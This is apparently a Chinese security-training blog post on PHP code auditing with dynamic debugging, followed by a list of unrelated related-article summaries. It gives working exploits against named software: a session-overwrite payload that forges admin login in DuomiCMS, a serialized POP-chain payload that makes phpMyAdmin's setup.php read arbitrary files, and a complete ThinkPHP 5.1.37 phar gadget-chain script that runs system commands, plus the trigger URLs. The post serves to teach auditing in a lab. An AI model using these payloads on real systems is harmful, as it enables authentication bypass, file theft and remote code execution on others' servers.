代码审计-PHP模型开发篇动态调试反序列化变量覆盖TP框架原生POP链

news/2024/5/21 3:10:46

知识点

1、PHP审计-动态调试-变量覆盖
2、PHP审计-动态调试-原生反序列化
3、PHP审计-动态调试-框架反序列化

PHP常见漏洞关键字

SQL注入:
select insert update  delete mysql_query mysqli等
文件上传:
$_FILES,type="file",上传,move_uploaded_file()等 
XSS跨站:
print print_r echo sprintf die var_dump var_export等
文件包含:
include include_once require require_once等
代码执行:
eval assert preg_replace call_user_func call_user_func_array等
命令执行:
system exec shell_exec `` passthru pcntl_exec popen proc_open
变量覆盖:
extract() parse_str() importrequestvariables() $$ 等
反序列化:
serialize() unserialize() __construct __destruct等
其他漏洞:
unlink() file_get_contents() show_source() file() fopen()

通用关键字

$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER

一、演示案例-PHP审计-动态调试-原生变量覆盖-DuomiCMS

在这里插入图片描述
搭建环境:Phpstudy_pro+Php5.3+Apache+Mysql

1、找到一个配置common.php(搜$$)

在这里插入图片描述
在这里插入图片描述

2、找一个利用点(后台登录点覆盖session)

login.php->checkuser()->keepUser()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、动态调试获取保持登录当前的session

在这里插入图片描述
在这里插入图片描述

4、找一个能将session覆盖的地方(session_start函数调用)

-session_start函数调用

在这里插入图片描述
在这里插入图片描述

5、session覆盖进后台

_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-PHP审计-动态调试-原生反序列化-PhpMyAdmin

搭建环境:Phpstudy_pro+Php5.3+Apache+Mysql
自动审计或搜索关键字找到文件及代码段

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

1、搜unserialize找入口

/scripts/setup.php
$configuration = unserialize($_POST['configuration']);

在这里插入图片描述

2、找直接调用魔术方法__wakeup()

在这里插入图片描述

libraries/common.lib.php
触发:$_SESSION['PMA_Config']->__wakeup();libraries/Config.class.php
触发:$this->load($this->getSource());

3、跟踪load和getSource实现

getSource:获取变量source

在这里插入图片描述
在这里插入图片描述

loade:eval执行file_get_contents

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、构造pop链发包触发文件读取

<?php
class PMA_Config{
var $source = 'd:/1.txt';
}$p=new PMA_Config();
echo serialize($p);
?>

在这里插入图片描述
触发:

Post:/scripts/setup.php
action=xiaodi&configuration=O:10:"PMA_Config":1:{s:6:"source",s:8:"d:/1.txt";}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
反序列化本身并不是一个漏洞,而是通过反序列化调用到了其他漏洞函数从而利用反序列化执行例如RCE、文件读取等效果。

5、动态调试下断点看POP链

断点:$configuration = unserialize($_POST['configuration']);

在这里插入图片描述
在这里插入图片描述

三、演示案例-PHP审计-动态调试-框架反序列化-KiteCMS

搭建环境:Phpstudy2018+Php7.0+Apache+Mysql

1、源码目录分析采用TP框架开发

在这里插入图片描述

2、获取TP框架对应版本和漏洞情况

const VERSION = '5.1.37 LTS';

3、使用PHPGGC模版生成Phar文件

参考:https://www.cnblogs.com/zzjdbk/p/13030571.html
在这里插入图片描述

/phpggc-master/gadgetchains/ThinkPHP/RCE/1
调用链:gadgets.php
触发生成:chain.php

在这里插入图片描述
phar利用条件

phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
注意:将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

在这里插入图片描述

xiaodi.php
<?php
namespace think\process\pipes {class Windows{private $files;public function __construct($files){$this->files = array($files);}}
}
namespace think\model\concern {trait Conversion{protected $append = array("smi1e" => "1");}trait Attribute{private $data;private $withAttr = array("smi1e" => "system");public function get(){$this->data = array("smi1e" => "notepad");}}
}
namespace think {abstract class Model{use model\concern\Attribute;use model\concern\Conversion;}
}
namespace think\model{use think\Model;class Pivot extends Model{public function __construct(){$this->get();}}
}
namespace {$conver = new think\model\Pivot();$a = new think\process\pipes\Windows($conver);$phar = new Phar('xiaodi.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$phar -> setMetadata($a);$phar -> stopBuffering();
}
?>

在这里插入图片描述
在这里插入图片描述

4、找个上传文件地方后上传xiaodi.png

在这里插入图片描述
在这里插入图片描述

5、找加载文件地方(搜is_dir)

admin/controller/Admin.php
scanFiles、scanFilesForTree

在这里插入图片描述
在这里插入图片描述

6.在使用phar触发png 的pop链

http://192.168.1.148/admin/admin/scanFiles?dir=phar://./upload\/20231030\/306437f8a938426c66e97468b219ff61.pnghttp://192.168.1.148/admin/admin/scanFilesForTree?dir=phar://./upload\/20231030\/306437f8a938426c66e97468b219ff61.png

在这里插入图片描述


http://www.mrgr.cn/p/15178618

相关文章

实验四:代码审查

一、实验题目 :代码审查 二、实验目的 1、熟悉编码风格,利用开发环境所提供的平台工具对代码进行自动格式审查; 2、根据代码规范制定代码走查表,并按所制定的审查规范互审代码。 三、实验内容 1、IDEA环境和PyCharm环境二选一; IDEA环境 (1)预先准备在IDEA环境下实现对输…

代码审查

一、实验题目 :代码审查 二、实验目的熟悉编码风格,利用开发环境所提供的平台工具对代码进行自动格式审查;根据代码规范制定代码走查表,并按所制定的审查规范互审代码。三、实验内容 PyCharm环境预先准备在PyCharm环境下实现对输入的n个整数进行排序的代码;利用Code Inspe…

炒美股怎么开户?

近年来&#xff0c;随着国内投资者对境外投资需求的不断增长&#xff0c;炒美股逐渐成为许多投资者的选择。然而&#xff0c;随着监管政策的不断完善&#xff0c;传统的互联网券商开户方式已经不再适用。那么&#xff0c;对于想要入场美股市场的投资者来说&#xff0c;该如何开…

实验四—代码审查

一、实验题目 :代码审查 二、实验目的 1、熟悉编码风格,利用开发环境所提供的平台工具对代码进行自动格式审查; 2、根据代码规范制定代码走查表,并按所制定的审查规范互审代码。 三、实验内容 1、IDEA环境和PyCharm环境二选一; IDEA环境 (1)预先准备在IDEA环境下实现对输…

从0到1构建AI agent【零代码】

一、前言 想象一下&#xff0c;如果AI的想象力被彻底释放&#xff0c;那将是一场怎样的革命&#xff1f;“大语言模型不过是个贪吃蛇&#xff0c;而AI Agent却能创造出‘王者荣耀’。”这不仅是网上的一句戏言&#xff0c;它预示着一个不可逆转的趋势。比尔盖茨更是一语中的&am…

Maven多模块工程提示其它模块依赖找不到(明明已经添加)

查看有没有重复标记文件夹!!!(我的就是这样)

Html转C#/JSP代码工具

Html转C#/JSP代码工具为您提供在线Html转换为Jsp和C#代码,Jsp代码,Html转C#,Html转.Net,Html转Jsp,在线Html转Jsp代码,HTML与JSP和C#,.Net代码在线转换,使用这个Html在线转换工具,能得到拼接好代码等 免费工具地址:http://tools.linuxsou.com/html2php/ 千行代码,Bug何处藏。…

数据仓库实验三:分类规则挖掘实验

目录 一、实验目的二、实验内容和要求三、实验步骤1、创建数据库和表2、决策树分类规则挖掘&#xff08;1&#xff09;新建一个 Analysis Services 项目 jueceshu&#xff08;2&#xff09;建立数据源视图&#xff08;3&#xff09;建立挖掘结构 DST.dmm&#xff08;4&#xff…

cap和base分布式理论

一、分布式理论 1.CAP理论 CAP理论是说对于分布式数据存储&#xff0c;最多只能同时满足一致性&#xff08;C&#xff0c;Consistency&#xff09;、可用性&#xff08;A&#xff0c; Availability&#xff09;、分区容忍性&#xff08;P&#xff0c;Partition Tolerance&…

JVM的垃圾回收机制(GC机制)

在Java代码运行的过程中&#xff0c;JVM发现 某些资源不需要再使用的时候&#xff0c;就会自动把资源所占的内存给回收掉&#xff0c;就不需要程序员自行操作了。“自动回收资源”就是JVM的“垃圾回收机制”&#xff0c;“垃圾回收机制”也称"GC机制"。 对于Java代码…

python的多继承中的方法重写

前言 多继承势必要解决同名属性冲突。今天测试一下。 正文 左右同名(左侧优先)当左侧基类和右侧基类中存在同名方法时,不管是否包含重写,都是左侧优先。今天主要探讨的是,左侧基类中不直接包含同名方法。约定我们约定,下面的标题情况全都是在左侧基类不直接包含同名方法的。…

【自动化测试】关键字驱动接口自动化测试

1. 概念:  在软件测试领域,"数据驱动"和"关键字驱动"是两种自动化测试的设计模式, 它们都旨在提高测试效率,减少重复劳动,但它们的实现方式和应用场景有所不同。(1) 数据驱动(Data-Driven Testing, DDT):**优点**     a. 可变数据:测试数据的…

2024年教你学浪视频如何导出

学浪视频已成为知识探索的灯塔。2024年掌握学浪视频的导出技巧&#xff0c;就如同握住了一把开启智慧宝库的钥匙。想象一下&#xff0c;无论是在通勤的地铁上&#xff0c;还是在宁静的咖啡馆角落&#xff0c;你都能随时观看自己的学习视频 下面是我已经打包好的学浪视频下载工…

AlphaFold3(AF3)简单介绍:预测各种生物分子结构和它们之间相互作用的深度学习模型

参考: 文章地址: https://www.nature.com/articles/s41586-024-07487-w https://blog.google/technology/ai/google-deepmind-isomorphic-alphafold-3-ai-model/ AlphaFold3体验官网: https://golgi.sandbox.google.com/ 《Accurate structure prediction of biomolecula…

实验4:代码审查

实验4 代码审查 一、实验题目 :代码审查 二、实验目的 1、熟悉编码风格,利用开发环境所提供的平台工具对代码进行自动格式审查; 2、根据代码规范制定代码走查表,并按所制定的审查规范互审代码。 三、实验内容 1、IDEA环境和PyCharm环境二选一; IDEA环境 (1)预先准备在ID…

html格式化压缩美化工具

html格式化工具为您提供html格式化,html美化排版,html压缩工具,html在线格式化,html代码在线格式化,html在线压缩,html格式化,可以将凌乱的前端html代码整理的整整齐齐,凌乱的html代码不好调试,冗余代码多了也会严重影响速度,当你在为提高了用户体验,做出了很绚丽的效果而欣喜…

微服务领域的寻路者 —— Eureka深度探索与实战秘籍

文章目录 一、引言定义目标一个接地气的例子引言小结 二、Eureka架构2.1 Eureka Server一个有趣的例子2.2 Eureka Client一段简单的代码示例架构小结 三、工作流程1. 服务注册2. 心跳检测3. 服务发现4. 健康检查与失效剔除工作流程小结 四、核心机制4.1 服务注册与续约4.2 服务…

英码科技推出昇腾系列AI加速卡:专为视频解析与模型推理场景打造,更具成本竞争力!

当前&#xff0c;人工智能的发展已进入加速渗透千行百业的阶段&#xff0c;算力已然成为数字化转型关键的新质生产力。随着国际挑战的加剧&#xff0c;国产算力的发展趋势愈发明显&#xff0c;市场需求也呈现出激增的态势。在这一大背景下&#xff0c;华为昇腾以其强大的技术实…

地下管线管网三维参数化建模软件MagicPipe3D V3.5

经纬管网建模系统MagicPipe3D&#xff08;www.magic3d.net&#xff09;自主安全可控&#xff0c;本地离线参数化构建三维管网模型&#xff08;管道、接头、附属物等&#xff09;&#xff0c;输出标准3DTiles、Obj等格式&#xff0c;支持Cesium、Unreal、Unity等引擎可视化查询分…

实验四-代码审查

一、实验题目 :代码审查 二、实验目的 1、熟悉编码风格,利用开发环境所提供的平台工具对代码进行自动格式审查; 2、根据代码规范制定代码走查表,并按所制定的审查规范互审代码。 三、实验内容 1、IDEA环境和PyCharm环境二选一; IDEA环境 (1)预先准备在IDEA环境下实现对输…